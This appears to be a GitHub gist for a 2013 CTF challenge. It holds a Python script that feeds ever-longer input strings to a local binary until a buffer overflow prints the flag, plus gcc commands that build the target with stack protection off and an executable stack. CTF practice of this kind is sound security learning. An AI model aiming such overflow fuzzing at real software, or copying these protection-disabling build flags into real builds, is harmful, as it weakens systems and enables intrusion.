Skip to content

Instantly share code, notes, and snippets.

@trietptm
Created October 30, 2013 10:02
Show Gist options
  • Save trietptm/7230002 to your computer and use it in GitHub Desktop.
Save trietptm/7230002 to your computer and use it in GitHub Desktop.
overflow Zeromutarts CTF 2013 - Buffer Overflow fuzzing on Linux http://zeromutarts.de/task/overflow http://zeromutarts.de/res/overflow_redacted.c
import subprocess,os,commands
for i in xrange(1000,1500):
textcmd = 'echo ' + 'a'*i + '|./overflow_redacted'
run = subprocess.Popen(textcmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
data, error = run.communicate()
if 'flag' in data:
print i
print data + '\n'
filehandle = open('result.txt', 'a')
filehandle.write(str(i) + '\n' + data + '\n')
filehandle.close()
break
@trietptm
Copy link
Author

gcc overflow_redacted.c -fno-stack-protector -o overflow_redacted
gcc overflow_redacted.c -fno-stack-protector -z execstack -o overflow_redacted

https://gist.github.com/trietptm/7230008

@trietptm
Copy link
Author

trietptm commented Nov 2, 2013

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment